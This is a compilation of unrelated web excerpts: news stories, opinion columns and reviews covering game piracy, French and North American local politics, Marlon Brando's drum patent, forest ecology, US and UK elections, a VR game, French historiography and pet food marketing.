Interestingly, although posted officially on at least one site, this message has been spread by the torrent’s uploader – who says he wants to help ACE Team. “I want to help developers to sell more of this good game, that’s all,” he said.
Carlos Bordeu from ACE Team told TorrentFreak, “Our ‘anti-piracy’ technique is basically the best approach we thought was possible. I think appealing to the conscience of people who download the game is the best we can do. Zeno Clash is not an expensive game. We don’t believe in restrictive DRM.”
The responses from file-sharers have been pretty positive too – even from the hardcore over at The Pirate Bay. Here are a few of them – note, not a “F**K the MPAA/RIAA” in sight……
“It was a touching comment (seriously) I will dl it and see if I like it and then will see if I buy it or not.”
“I love how the developers are commenting in here. Thanks a lot for doing it, instead of fighting the piracy.”
“I have not bought a game in 5 years, but the attitude of the developers has made me want to purchase their game. Fuck, if I like this game, I’m gonna buy it!”
“Developers like this deserve the money. They didn’t come on here with a preconceived notion that we are all thieves who don’t buy our software. I like that, because I and most of the people who use this actually do buy the software and other goods that we enjoy.”
Carlos told us, “We honestly think that ‘converting’ the people who download the game into buyers is a much better strategy than trying to fight them. We are also improving the original game, so it will include features and content that people who download the game will probably miss.”
"It’s an incredible honor to be part of such an amazing organization,” said Calahan, who joined Pixar in 1994 as lighting supervisor on Toy Story. She went on to serve as director of photography on A Bug's Life, Toy Story 2, Finding Nemo, Cars 2, and Ratatouille. Earlier, she was a lighting director at Pacific Data Images (now PDI/DreamWorks), completing commercials, television programs, and graphics packages.
VIDEO: Cinematographers Roundtable Full Interview
Speaking of the blurring of the lines between animation and live action photography, she told The Hollywood Reporter, "We have always tried to approach (animated) filmmaking by learning from those who have gone before us in animation, and also heavily from the live action world. In a 3D environment we can move a camera like we can move it in the real world, and position light in physical space more like we can in the real world."
“Especially in the last few years, technology is less of a hindrance and allows us to focus more of filmmaking,” she added. “It’s still in its infancy.”
E-mail: Carolyn.Giardina@THR.com
Some of you have been asking for this for a long time. Thanks for waiting! Most of these plugins are completely free (the synth is not, but has a 30 day trial).
Addiction Synth – our amazing subtractive synth, with unlimited preset sharing
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– and automating, quantizing, filter DJ Delay – a dual band delay with high res spectrums, and quantizing LFOs and timing
France's far-right National Front political party mayor of Frejus, David Rachline talks during an interview with Reuters in his office in Frejus, France, September 16, 2016. Picture taken September 16, 2016. REUTERS/Jean-Paul Pelissier
The stakes are high for the FN, which won just under a dozen towns including Frejus in 2014 municipal elections, and wants to use its track record in those areas to support its quest for power at a nation level.
Aged only 28 and a rising star in the FN, Rachline had a relatively low-key, business-as-usual, start to his tenure.
But then he started pushing the party’s trademark anti-migration agenda by cutting subsidies to an association helping migrant workers and trying to stop plans to build a mosque.
As France’s April 2017 presidential election draws nearer, the tension between providing basic city management and courting controversy is becoming more acute and scrutiny is certain to grow after Rachline became campaign director for FN chief Marine Le Pen at the weekend.
Le Pen, seen by opinion polls as likely to make the second round of the presidential election but lose a run-off, gave a ringing endorsement of Rachline and stressed the significance of what he was doing when she launched her campaign in Frejus.
“He represents success ... his success in managing his town is a way to silence those who have relentlessly said the National Front could not implement its program,” she told reporters on Saturday.A resort town of 55,000 which hosts three to four times as many people over the summer, Frejus is the biggest constituency managed by the FN, making it an important test of the party.
Rachline, who was one of a few dozen mayors who banned the full body burkini swimwear on the beach this summer — an issue which underlined tensions with France’s large Muslim population — says he is the victim of unfair criticism by some media and political opponents because of his party allegiance.
“I’m a democratically elected mayor who works for the good of the community,” he told Reuters in an interview, when asked what being an FN mayor is about. Fixing the town’s finances and ensuring its security were his priorities, he added.
STIRRING CONTROVERSY
Rachline, who joined the FN aged 14, does not shy away from controversy and staunchly defends some of the moves for which critics attack him — including boycotting local journalists.
“He is an FN mayor. By the very nature of the FN he needs clashes, this party cannot be only about going more mainstream or it would lose what makes it different,” said Sylvain Crepon, a specialist on the FN at the French university of Tours. “He does that skillfully,” he said of Rachline.
Rachline has fallen out with local journalists, political opponents and activists in recent months.
In June, his administration began boycotting regional newspaper Var-Matin, accusing it of talking down the town and political bias.
At the same time, the mayor became involved in a public row with center-right city councillor Francoise Cauwel, prompting her to file a complaint with local police accusing Rachline of a sexist slur.
Rachine says he does not recall using the disputed phrase and that it would not have been that bad even if he had said it.
“Things are getting increasingly tense, more radical,” Cauwel told Reuters.
After articles on trees being cut down to make space for a concert by veteran rock star Johnny Hallyday, of whom Rachline is a huge fan, the municipality said it would not talk to Var-Matin’s local reporting team any more. It also stopped providing the newspaper with routine information including birth and deaths in the town.
The municipality’s own monthly magazine, distributed to residents for free, devoted three pages in its September edition to complaining about the daily’s coverage under the headline “Var-Matin is sullying our town.”
Eric Farel, the head of Var-Matin’s Frejus team, says such a move is unprecedented.
“My feeling is that as we’re getting closer to the presidential election they don’t want stories that would allow one to say the FN’s management of a city is not fine.”
Some local activists also complain.
“We’re against the city’s current policies and in an FN city when you’re against them, you are the enemy, you are ostracized,” said Jean-Paul Radigois, the head of an association of inhabitants of Frejus’ beach area that opposes the mayor’s development plans there.
Rachline brushes this aside, saying his project is necessary to develop tourism and give city staff a better place to work.
“Democracy is at the moment of elections, I don’t know if they (activists) know about that. It’s not about petitions,” he said.
NO MONEY FOR MIGRANTS
As for the mosque, now built and operational in an under-privileged borough, Rachline insists his opposition to it is about building permits and not against having a mosque as such.
The city and the association that built the mosque have been embroiled for years in legal proceedings that are still ongoing.
“In the absence of a building permit, it (the mosque) must be destroyed — like any building, I insist, that wouldn’t have a building permit,” Rachline said.
He is much more blunt, however, about scrapping a subsidy to the ASTI association that gives support to migrant workers on issues including how to claim pensions.
Asked to confirm the end to municipal subsidies to ASTI, Rachline said: “Well, obviously!” And added: “I don’t give a cent to migrant workers or to migrants in general.”
In the streets of the old town of Frejus, with typical Provencal, pastel-colored houses, reactions are mixed.
Restaurant owner Patrick Loidreau says things have never been better.
“When we see how well Rachline and his team are managing Frejus, reducing the debt without raising taxes, if Marine Le Pen came to power, we would be saved,” said Loidreau, an FN voter who agrees with the party’s anti-immigration agenda.
But others differed.
“It’s hard to be a political opponent in an FN city, we are constantly singled out,” said Insaf Rezagui, a local Socialist party representative. The young woman of Algerian descent says her origins are one of the reasons why she’s targeted.
In April, Rachline commented on a tweet by a journalist who wrote Rezagui might be a candidate in general elections by asking if there were elections in Palestine.
Slideshow (5 Images)
Rachline points out that the FN increased its share of the vote in regional polls that took place 18 months after his election, saying this is proof that residents back his policies.
He says he’s getting results. The municipality’s website says the town’s debt per inhabitant will have dropped from 2705 euros ($3,020) in 2014 to 2447 this year.
“I deeply admire Prime Minister Netanyahu for speaking out on this issue, but he honestly has no choice,” Giuliani said Monday in Jerusalem. “If someone threatens to kill you, you simply don’t give them the gun to do it unless there’s something wrong with you.”
Giuliani, who is in Israel to address a business conference in Herzliya, said that Israel has strong support in the United States.
He added, “If there is going to be any agreement with Iran, then it must be based upon the fact that Iran not be allowed the possibility of obtaining a nuclear arsenal.”
Netanyahu is scheduled to speak March 3 before the Congress on the Iranian nuclear threat, two weeks before national elections in Israel. He was invited by House Speaker John Boehner (R-Ohio), irritating the White House over a lack of protocol in failing to communicate the invitation.
Inventor: Marlon Brando
Known For: Looks like Coppola wasn't the only Godfather legend who dabbled in the sciences. Brando was known for more than his award winning (and rejecting) performances in The Godfather and On the Waterfront. Besides advocating for the fair portrayal of Native Americans in media, Brando had musical inclinations. He hung out with Michael Jackson, frequenting the Neverland Ranch and starring in the King of Pop's You Rock My World video. And, as demonstrated by the following clip of Brando on the Edward R. Murrow Show, he was a gifted bongo player:
Look at the intent in those eyes. Even 50 years before his patent, we bet Brando was scheming: There just had to be a way to improve his beloved instrument.
Invented Apparatus: "Drumhead tensioning device and method"
Drums lose their tension and need tuning. If T-Pain has taught us anything, everything sounds better (and hipper) with an auto-tuner. Thus, Brando presents: the automatic drum tuner.
The present invention is directed toward a tunable drum for use with or without a drum stand. Embodiments of the invention allow an individual to quickly and reliably tune the drum either manually, by operating a motor, or automatically by way of a tuning circuit.
Brando suggests several manifestations of his invention, but he basically attaches a motor to the drum, which will do all the work for him:
In one embodiment, a motor is coupled to the tuning linkage such that an operator can manually adjust the tuning via a motor. In another embodiment, a transducer and a tuning circuit can automatically provide control signals to the motor based on a difference between a desired frequency and a determined frequency.
Rationale Behind Invention: Tightening a drum takes a lot of effort. Once the drum head loses its tension, there are typically six separate rods that need tightening. Far too many rods for Marlon. Brando explains that others have tried to develop mechanisms that would improve the drum tightening experience but none of them provided a simple or affordable solution.
It is therefore apparent that a need exists for a simple and inexpensive drum tuning device that is also accurate and reliable and not subject to inadvertent adjustments.
Off Label Uses: Put that motor in reverse and not only do you have a device for all your tightening needs, but it also doubles as a loosener. Great for opening pickle jars, tightening soda caps, or securing shampoo (or other) bottles during travel.
Future Directions: As we age, let's face it, we don't play the bongos as often as we used to. But that doesn't mean that your home shouldn't be filled with the funky sound of the jazz bongo! We suggest borrowing a trick from last week's celebrity invention -- the player piano -- and deploying it here. Imagine the joys of the player bongo.
CTV Montreal
Montreal Mayor Denis Coderre brought in a backhoe and a jackhammer to get rid of the beginnings of a community mailbox in a Pierrefonds park Thursday.
Coderre and other Quebec mayors said Thursday they aren’t happy with the way Canada Post is handling the discontinuation of door-to-door mail delivery, especially when it comes to setting up community mailboxes in neighbourhoods and determining who gets to use them.
A backhoe operator rolled into l’Anse a l’Orme Nature Park around 4 p.m. Thursday and began removing a concrete footing for a mailbox. Coderre then showed up with a jackhammer and chipped away at some remaining blocks on the ground.
“I’m coming here and I’m witnessing that they put that concrete and they will put up some boxes without any consultation, and they have the arrogance to send a note to say that ‘Oh, if you want to do something about it, we’ll talk together and discuss.’ That’s B.S. to me,” he said.
Coderre said Canada Post poured the concrete without asking the city and without any permits being issued by the borough of Pierrefonds.
The mayors say they want to make the removal of home delivery an issue in the 2015 federal election. Westmount Mayor Peter Trent said the end of home delivery by Canada Post is unconstitutional.
"The campaign allows Canada Post to do whatever it wants," he said, even though cities have made it very clear "we don't want [the mailboxes]."
Earlier in the day, Coderre said the Crown corporation's claims of consulting and informing the public have been nothing but a sham, pointing to locations in Montreal where Canada Post has started installing concrete footings for mailboxes without informing anyone.
"When they were saying that they were consulting. Hello? Anybody home? They're doing what they want. Savagely. And they're arrogant," he said.
Canada Post responded to the complaints made by the mayors with a written statement.
"We are always willing to work with municipalities to find the best locations and discuss any concerns," it says. "We would be happy to discuss any suggestions they may have for alternative locations."
Coderre said he is ready to battle and will do so, starting with the slab in the Pierrefonds park.
"You want to have a fight? Enjoy yourself. I'm a fighter and a lover. I can do both. But clearly I'm there to respect our citizens, and I'm from the federal level. We can play with the jurisdiction as long as we will.
"But I know one thing. This is services to the people. I think it's wrong the way that they're acting, and that's another concrete example."
The dispute over community mailboxes has been going on since they were announced.
In addition to asking for a moratorium on the installation -- a request that has been ignored by Canada Post -- the mayors of Laval, Longueuil, Montreal and other cites have sought intervenor status in a class-action lawsuit to stop community mailboxes.
This post is a part of a series on Climate Change & Oregon This post is a part of a series on
Projected changes to the climate over the coming centuries will radically restructure many of our forests throughout the world. We read the worst case scenarios in the news: the total loss of forest systems due to drought, wildfire, and insect outbreaks.
But my research on forests and climate change over the past 20+ years has suggested that forests are not monolithically at risk due to climate change. There is a huge variation in potential responses to climate change, not all of it bad. When considering future investments in maintaining forest health, we may need to consider a broad ‘landscape triage,’ whereby we intentionally choose which landscapes to save, which to leave to natural processes, and in which to invest immediate care.
Climate change will not affect all forests equally
For example, forests in the northeastern US appear to have high natural resilience to climate change. What makes these forests naturally resilient in part is their diversity.
Diversity encompasses the number of species, their genetic variation, and the broad range of their functional attributes. Landscape connectivity (the capacity for organisms to access the various components of a landscape) and evolutionary adaptations for change also contribute to their natural resilience.
This resilience was evident following agricultural abandonment across huge areas of the northeast, particularly in New England. The forests quickly rebounded and today astound visitors with their extent and apparent health. And my research on climate change in the midwest and northeast suggests that we should expect these forests to grow faster and sequester more carbon under climate change.
That’s not to say that other threats don’t exist: over-abundant deer populations have decimated natural regeneration in many areas. Non-native insects are wiping out many important tree species. And continued development threatens to severely fragment and degrade these forests. But relative to these other threats, climate change may not be a primary existential threat.
In contrast, other areas are severely threatened by climate change, to the point that forests may not persist without intensive management interventions. For example, scientists have projected that some forests in the southwest may never return following wildfire due to projected droughts and associated wildfire triggered by climate change. Should we invest the enormous resources, primarily in tree planting, necessary to maintain vulnerable forests? Will these actions ever be sufficient? Newly planted seedlings are particularly vulnerable to drought and wildfire.
Between these two extremes are forests that can be maintained in a healthy condition despite climate change. These are forests where, ‘managed resilience’ can make all the difference: careful intervention can prevent the worst outcomes.
In these areas, management actions can help ‘bend the climate curve’ away from negative outcomes. These actions will vary widely by location but may include fuel treatments to prevent crown fires, thinning to reduce insect mortality, planting a broad species mix when planting is required, even potentially including facilitated migration in anticipation of an altered climate. These are areas where our scarce resource management dollars can make the greatest difference.
So what of Oregon?
My research uses large-scale simulations to project potential forest futures throughout the world. Recent research suggests that the Coast Range of Oregon has high natural and managed resilience. Predictable and substantial precipitation grants the former and no climate projection suggests a sustained decline in rainfall (although drought frequency may increase).
An extensive road network and an institutionalized capacity for replanting vast acreage provides the managed resilience. Roads are often regarded as a net detriment to forest health; however, they also facilitate fire suppression by enabling people and equipment to quickly access a fire. Although our research is ongoing, I suspect that eastern and southern Oregon fall into the middle ‘bend-the-curve’ category: climate change has the potential to unleash unprecedented wildfire and insect outbreaks. At the same time, careful preparation and the capacity to quickly react and adapt can prevent large-scale forest loss.
Landscape triage is not an attractive future. It would be better not to have make difficult decisions. It would be better to have unlimited resources to save every forest. I fear though that this future will be a reality sooner than we expect. The good news is that science is delivering the forecasting tools to understand how risk is spatially distributed. And we continue learning how we can bend the curve to a better future.
We must next decide to do so. We can’t simply wait and hope the worst doesn’t happen or wish that every landscape will simply bounce back when the crisis is over.
This crisis will not end soon and action is needed now.
Immediate actions will include funding the US Forest Service to reduce fire risk, not just fight fires. We can advocate for more forest restoration funding to enhance natural resilience. We can give land managers greater flexibility to achieve the long-term goals of ensuring forest health. Most of all, we need to stop digging a deeper hole: we all need to reduce our carbon consumption.
Climate change is happening now. At the same, there is much we can do to limit the consequences. Every degree matters.
Robert Scheller is a professor at Portland State University where he teaches forest ecology and related courses. He received his PhD in Forest Ecology from the University of Wisconsin. His research focuses on forest landscape change: how forests have changed, how they will change, and why it matters. Specifically, his research examines how forest management and natural disturbances generate or reduce forest health, specifically in regards to climate change. His research is data-driven and deploys advanced technology to forecast landscape change. These forecasts inform forest policy regionally and globally. He has published more than 60 manuscripts and book chapters and otherwise enjoys the natural and cultural amenities of Portland.
Posted in: Global Warming Tags: Climate Change & Oregon, The Pacific Northwest, Western US States
Something dramatic is happening on both sides of the Atlantic. In the US Democratic Presidential race and the UK Labour leadership contest we are witnessing a dramatic rise in support for anti-establishment candidates, Bernie Sanders and Jeremy Corbyn.
Superficially, these two men should represent the established political class. Aged 73 and 66 respectively, these men are career politicians but they have, throughout their careers, battled against social and economic injustice set in stone by the consensus politics instilled in the US and UK since the Reagan and Thatcher era. Stagnant wage growth, anti-union legislation, astronomical increases in education costs, wars in Iraq & Afghanistan, higher energy costs from privately owned utilities, corporate tax avoidance, bank bailouts and austerity (as a result of the financial crash), has crippled both economies and the prosperity of the US and UK’s working/middle-class.
For the first time ever, our children will grow up to be worse off than we are. For the first time since the Victorian era we have a ‘working poor’, where, despite working full time hours, wages are so poor workers need to rely on charitable or state assistance. That is of course if budgets have survived austerity cuts. Things are so out of kilter in both economies people need change. Not the rhetoric of Obama’s “Change” of 2008 or Ed Miliband’s uninspiring, austerity-light, “One-Nation Britain” of 2015, but fundamental economic and social reform. Something both countries have not seen since the post Second World War settlement. There is fertile ground for a grassroots mass movement in both countries.
If, twelve months ago, I was told that Bernie Sanders would start to threaten Hillary Clinton’s huge leads in early voting states I would have laughed you out of the room. Now he has overtaken Clinton in the polls in New Hampshire and is now (30th Aug 2015) only 7% behind in the polls in Iowa.
If, twelve months ago, I was told Labour would lose the 2015 General Election comprehensively and the centre-left Ed Miliband would be replaced by the rebellious socialist Jeremy Corbyn, I would have dismissed you as a complete and utter political fantasist. He entered the leadership race a 100/1 outsider. Now he is destined to take over the reins of the UK Labour Party as his lead in the polls seems unsurmountable.
We live in unpredictable times, and the rise of the transatlantic left in Bernie Sanders and Jeremy Corbyn are the embodiment of it. The question is, can Bernie Sanders and Jeremy Corbyn galvanise enough support to give them mass appeal and make them electable on the national stage? To stand any chance they need to tackle political apathy in both jurisdictions.
Political Apathy
I was once told that “bad candidates are elected by good citizens who don’t vote”. There is a truth in this. Both the Democrats and the Labour Party have always had difficulty in getting their ‘core’ vote out or appealing to a wide enough spectrum of low-income citizens to get out and vote.
2012 US Presidential Election
54.9% of the electorate voted
106,013,000 Americans failed to cast their vote
2015 UK General Election
66.1% of the electorate voted
15,737,000 British citizens failed to cast their vote
11,335,000 British citizens voted for the Conservative Party (36.9% of total votes cast)
#FeelTheBern Phenomenon
During the Democratic National Committee’s Summer Meeting in Minneapolis Bernie Sanders made a very real and substantial point. The Republican Party did not win the 2014 elections the Democrats lost them. Sanders argued that America, needs a grassroots campaign which can result in real change. Something perhaps it has not seen since the civil rights movement. To achieve that, turnout would have be 65% and above. Achievable? Never say never.
The electoral paralysis in Washington, the swaths of corporate cash backing political campaigns has made so many potential voters in America apathetic. Bernie Sanders is a different beast however. He was brilliant at increasing voter turnout during his election campaigns for Mayor of Burlington and his Senate campaigns for Vermont and he does not accept corporate cash. He is a fierce critic of “corrupt politics” (Sanders’ reference) in America where the so called “billionaire class” buy state and national elections. Sanders has always been a prominent figure in campaign finance reform, women’s rights, wage equality, a living wage, free 3rd level education, the punitive American justice system, social security, benefits for army vets and many more. So many issues that resonate at the heart of working/middle-class America. Many were oblivious to his ideas, his work, and his anti-establishment credentials. People are starting to take note and it may draw people to vote.
He entered the Democratic Presidential race on 3% on the Democratic national poll, now (27th Aug 2015) he stands at 26.3%. Hillary Clinton during the same period has seen her lead fall from 64.4% to 48.7%, as she fights, not Sanders, but an FBI investigation into her emails. People are latching on to his message.
Likewise in the UK, Jeremy Corbyn, is destined to be elected leader on September 12th.
#JezWeCan Against the Odds
The 2015 General Election was Labour’s second electoral defeat on the bounce. Many of their once staunch supporters stayed at home, switched allegiance to the Green Party (1.1 Million votes), UKIP (3.8 Million) and most notably in Scotland to the SNP (Labour had 41 seats in 2010, 1 seat in 2015). The UK’s first-past-the-post electoral system takes no prisoners in multi-party politics. What the electoral result shows is that Labour offered no real alternative to the Conservatives, and by endorsing the austerity agenda during the election campaign they did little to appeal to their base. During the Blair/Brown years, the party compromised so much to win the centre ground that it has left many today disillusioned, vying for a real alternative to neo-liberal policies. Something Jeremy Corbyn has always opposed.
It was New Labour under Blair that introduced tuition fees. Now expected to reach £10,000 per year during this parliament. They failed to build any social housing, contributing to a huge housing shortage and massive increases in private rents. They deregulated the banking sector with disastrous consequences. Did nothing to reverse the Thatcherite assault on trade union bargaining. They started the process of the gradual privatisation of the NHS through PFI contracts and many other policies which have entrenched vast amounts of wealth for a very few, whilst the living standards of the majority of people have steadily stagnated and deteriorated since the Conservatives have entered office in 2010.
When Labour members are given the choice between two candidates who were part of the New Labour government (Burnham & Cooper), one candidate who embraces these policies (Kendall), or Corbyn who has always opposed them, then it seems pretty obvious who the core of the party will vote for. The candidate who offers an alternative.
Already, as Corbyn travels the country meeting Labour members his meetings are packed, not on Bernie Sanders’ scale but packed compared to his other three opponents. He has been accused of being unelectable, and his economic policies as “Alice in Wonderland stuff” (Tony Blair). In fact his anti-austerity policies have had the backing of prominent economists such as David Blanchflower, former member of the Bank of England’s monetary policy committee who stated:
“The accusation is widely made that Jeremy Corbyn and his supporters have moved to the extreme left on economic policy. But this is not supported by the candidate’s statements or policies. His opposition to austerity is actually mainstream economics, even backed by the conservative IMF. He aims to boost growth and prosperity.”
The key to Jeremy Corbyn’s success is his message and he will get very little room to manoeuvre from the UK’s feverish and renowned right-wing press. But, should he be Labour leader he has four years to reintegrate, reinforce and replenish the radical nature of a movement the UK needs now more than ever. He has been underestimated before. Underestimate this guy at your peril.
The Future
Joseph Stiglitz aptly describes the rise of the transatlantic left:
“I am not surprised at all that there is a demand for a strong anti-austerity movement around increased concern about inequality. The promises of New Labour in the UK and of the Clintonites in the US have been a disappointment… Unfortunately the centre-left parties have wimped out. They have joined in saying: ‘Oh yes, we have to have a kinder version of austerity, a milder version of austerity’… The bottom 90% of the economy (USA) has seen stagnation for a third of a century and similar trends – not as bad – are at play elsewhere”.
There is no doubt there is a vacuum to be filled for more liberal minded voters and a swath of apathetic voters on both sides of the Atlantic that there is a very real alternative to the status quo.
Keep your eye on the rise and rise of Bernie Sanders and Jeremy Corbyn. You’re going to be in for one hell of a ride!
Sources:
Voter Turnout UK http://www.ukpolitical.info/Turnout45.htm
Bernie Sanders Faces Skepticism From Democratic Insiders
Jeremy Corbyn: like Bernie Sanders, UK politician is shaking up the mainstream
3 reasons Bernie Sanders is now the Democratic front-runner
Bernie Sanders breathes life into Democratic presidential contest
Bernie Sanders Draws Big Crowds to His ‘Political Revolution’
http://www.jeremyforlabour.com/
IMF Discussion Paper: Inequality and Labor Market Institutions – July 2015 (Well worth a read regarding the decline in wages due to anti trade-union legislation over the past 30 years)
Jeremy Corbyn has reminded Labour at last why austerity must be opposed
Reversing Political Apathy in the UK
Capitalism, Neoliberalism and “Too Big To Fail”
https://berniesanders.com
Hover Junkers is a multiplayer-only affair. The only single-player component is a stationary shooting gallery, design to teach you the basics of aiming and reloading the two weapons found in the main gameplay mode. That’s right; Hover Junkers is a multiplayer shooting videogame that features just two weapons.
The fact that your arsenal is decidedly limited is a disappointment, but keeping things balanced is far more important. This, Hover Junkers does very well. A variety of ship types is available with your options being limited only by the size of your play area, and a co-operative gameplay is also available. This option is by far the most enjoyable way to play Hover Junkers, especially when beginning.
The player begins by placing a small selection of pieces of junk around their vessel to act as cover. These items can be shot off in battle and also have different advantages: some may take more damage whereas other can provide a hole to fire through for as long as they last. Control of your ship takes just a few moments to get to grips with. Using the default armament the player can flick a switch to establish a connection to the ship’s steering and throttle, at which point hand rotation dictates direction and holding the trigger will accelerate. At first it seems unwieldy, but any experienced gamer will pick up the nuances of ship control swiftly.
The free hand you have can be used to wield one of the two weapons: pistol or shotgun. The pistol holds more rounds and is more accurate, whereas the shotgun packs a huge punch up-close. The reload mechanics are interesting but occasionally unreliable: touch the HTC Vive motion-controller touchpad to open the weapon, circle with your thumb to reload shells one-by-one, then flick your wrist to close ready to fire. The player can of course put away their driving device and engage in combat with two weapons, but this would leave them incredibly vulnerable when playing alone given the unnecessary complexity of changing equipped item. In a fast-paced videogame like Hover Junkers, a simple button-to-scroll system would work better than selecting from a virtual grid.
Unlike the modern online multiplayer affairs which gamers are used to, Hover Junkers does not feature any progression system of which to speak. A seasonal ranking system is included, which maintains a detail statistics breakdown of your performance, but there are no unlocks or attainable upgrades; cosmetic or otherwise. It seems as though a lot of effort has gone into getting the fundamentals right first time – which is commendable – but that each match stands alone as a solitary experience is a real shame.
ANALYSIS/OPINION:
I asked President Trump on Friday if he thought it was small, petty and unhelpful to have his predecessor — in a $400,000 speech to global elites in New York City — ridiculing Mr. Trump’s use of social media as a way to go around the liberal press and reach voters directly.
Mr. Trump could have used the opportunity to rake former President Obama as an uncreative, slow-witted hypocrite.
Instead, the president chose an entirely different — and revealing — way to answer the question.
“I wouldn’t say I’ve been exactly great to him, either,” said Mr. Trump, perched forward at his desk in the Oval Office, light flooding through the golden drapes behind him.
“I called the Iran deal the worst deal in the history of deals. It’s a deal that should have never even been conceived,” he said with a slight glare and gentle bob of the head.
“Look, that’s politics,” he said. Shrug.
The guy is a political shark. Always moving. Always on the hunt. Always sniffing for blood.
Offense always. Defense never.
Mr. Obama, meanwhile, is quickly going down as the worst ex-president in history. Last year’s election revealed just how wildly unpopular Mr. Obama’s policies have been all these past eight years, though he himself managed to escape the devastating punishment inflicted on his party.
And now, as elder statesman, Mr. Obama apparently intends to continue with his cool, glib and snarky style. And — just like his presidency — his post-presidency will be petty, small-minded and utterly bereft of imagination or inspiration.
Mr. Trump, meantime, is breaking all the china in Washington as he works to reinvent the wheel. Every. Single. Day.
Sometimes he succeeds effortlessly (illegal border crossings are down 70 percent even before one inch of his wall has been built) and sometimes he fails (Republicans in Congress have yet to repeal Obamacare as promised). But, at the very least, everything Mr. Trump does is new, fresh and original.
Exhibit A: The president’s use of social media to reach voters directly.
“I have 102 million followers between Twitter, Facebook, POTUS, the different things,” he said, spreading his arms vastly.
“Bing, bing, I put it out and then everybody picks it up,” he says, jabbing the air with each “bing.”
“If I send out a press release, I’ll walk in, I’ll dictate a press release, they’ll put it out, you guys won’t even see it.” He waves it away with a hand.
In the same vein, Mr. Trump is reinventing foreign diplomacy, saying startling things about allies and enemies alike.
Mr. Trump suggested that allied spies in London had secretly helped Mr. Obama spy on him and his campaign. Last week, he terrified diplomats who thought Mr. Trump had spoken flippantly about going to war with North Korea.
World leaders are sitting up and quickly realizing this is not a guy to be trifled with.
The china shop keepers inside the State Department were horrified over Mr. Trump’s disregard for protocol by inviting China President Xi Jinping to his Mar-a-Lago estate in Florida.
But Mr. Jinping was clearly smitten by Mr. Trump’s unorthodox charm. It probably helps that leaders like President Xi respect American businessmen far more than they respect American politicians.
“How about China? The coal ships aren’t going in,” President Trump boasted, referring to the pressure China is now putting on North Korea to shape up.
“There’s nobody who’s ever had a better relationship with the China leader,” Mr. Trump said flatly. “He’s going to go down as a great leader.”
Mr. Obama, meanwhile, handcuffed himself to conventional thinking, incapable of diplomatic creativity and risk-averse to the point of paralysis. In North Korea, Mr. Obama displayed so much “strategic patience” he might actually have been asleep.
Mr. Trump eagerly pointed to his early success in the Middle East, securing the release of Egyptian-American aid worker Aya Hijazi from a jail in Egypt.
“I said to President [Abdel-Fattah] el-Sissi, ‘You have a young woman, who’s an innocent young woman, who’s going to be in your jail for 28 years. I would greatly appreciate if she could be released. I think it would send a tremendous signal to the people of the United States.’”
And so Miss Hijazi was released.
So that was it? All he had to do was ask? Had it not occurred to the previous administration to do the same?
Mr. Trump laced his fingers together on the Resolute Desk, shrugged his shoulders and said: “Mr. el-Sissi didn’t like President Obama, not even a little bit. He didn’t like him.”
Mr. Trump might not do everything exactly right. But at least he’s doing it differently. And that is exactly what he got elected to do.
• Charles Hurt can be reached at [email protected]; follow him on Twitter via @charleshurt.
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L'ÉVÉNEMENT ET L'HISTOIRE DE LA RÉVOLUTION FRANÇAISE
Quand Lawrence Stone formula sa thèse du retour de la narration dans l'historiographie la plus récente (1979), après la longue domination de Braudel et de l'école des Annales, il dessina un esquisse admirable des motifs par lesquels, à peu près 50 ans auparavant, la «nouvelle histoire», dans son aspiration à la scientificité, avait excommunié l'histoire traditionnelle narrative1. La présente communication s'attachera à décrire, plus que les caractères, désormais bien connus et tant débattus, de l'histoire qui s'est ainsi imposée, de l'histoire quantitative des Annales à la cliométrie américaine, mais les éléments de la crise de cette nouvelle histoire et le revival d'une histoire narrative, tels que Stone les a indiqués.
Pour se limiter à quelques exemples, il suffit de rappeler la critique de la hiérarchie trop rigide des «facteurs» selon les historiens français des années 50-60 (faits économiques et démographiques, structure rurale, développements intellectuels, religieux, politiques), qui avait conduit aux longues pauses d'histoire immobile, introduites dans le cours historique par E. Le Roy Ladurie. Et, en conséquence, la disparition du champ de l'histoire de grands processus et mouvements, tels que la Renaissance, la Réforme, les Lumières, très importants pour la compréhension même de toute l'histoire, qui aboutit à la «scission entre histoire sociale et histoire intellectuelle et à un dessèchement réciproque». D'où un déplacement du modèle économique trop déterministe et la nouvelle attention portée aux liens plus complexes entre culture et société, la recherche passionnée du mouvement des mentalités, et enfin la redécouverte de la persistante importance de l'histoire de la force militaire, du pouvoir politique et de leurs multiples effets2.
1 Voir L. Stone, The revival of Narrative» reflections on a new old History, dans Past and Present, 85, 1979 novembre, trad. it. dans Comunità, XXXV, 1981, novembre, p. 1-25.
2 Id., trad, it., p. 6-9.
Pet food trends are following their owners’ tastes. Even the meat-loving brands are marketing plants, the very ingredients they once sidelined – just not the plants the industry has historically relied on, like the high-protein soybean and corn-gluten meals.
Instead, Blue Buffalo Co. Ltd. offers a Chicken & Quinoa Ancient Grains recipe, for example, and a grain-free line from Nestle Purina Petcare Co.’s Beneful is now “accented with blueberries, pumpkin & spinach.” Honest Kitchen Inc., which uses only human-grade ingredients, has been selling its Chicken & Quinoa recipe since 2006 and now offers Beef & Chickpea, Duck & Sweet Potato, and Fish & Coconut blends as well.
Dogs aren’t wolves, after all. They’re omnivores, said Anna-Kate Shoveller, an assistant professor of animal biosciences at the University of Guelph, in Canada. “They do quite well on a vegetable-based or a lower-protein diet,” she said.
Shoveller researches nutrition in animals and has been conducting experiments and publishing on a newly controversial topic: feeding vegetables to domestic dogs. And despite recent documentaries and marketing trends, Labrador retrievers, cocker spaniels, and the rest of the nearly 70 million dogs living in homes in the U.S. do not need to be fed like wild beasts.
Consider the nearly $30 billion pet food market’s second- and third-most-popular dog food brands: the relative newcomer Blue Buffalo, whose “farm-to-table inspired canine cuisine” features a portrait of a wolf on each bag of its Wilderness line, and Beneful, whose bags brag of “real” chicken, beef and salmon as “the #1 ingredient.”
Together, the two brands sold more than $2.3 billion of dog chow last year.Pedigree, Mars Inc.’s budget-friendly brand, was the top-selling dog food in the country in 2016, pulling in $1.6 billion, according to data from Euromonitor.
Blue Buffalo has played the healthy-wolf card better than any other company, despite admitting in a lawsuit that its ingredients weren’t always as marketed.
Founded in 2002, it commanded 7.5 percent of the U.S. dog food market last year, making it the fifth-largest seller in the country. That’s still small compared to Nestle Purina, No. 1 , at 23.5 percent-but down from 26.8 percent in 2011, according to Euromonitor.
If there’s a mythos around meat, plants come with their own presumptions. The industry’s pivot back to plants, if only certain ones, seems a bit silly to experts, at least from a nutritional point of view.
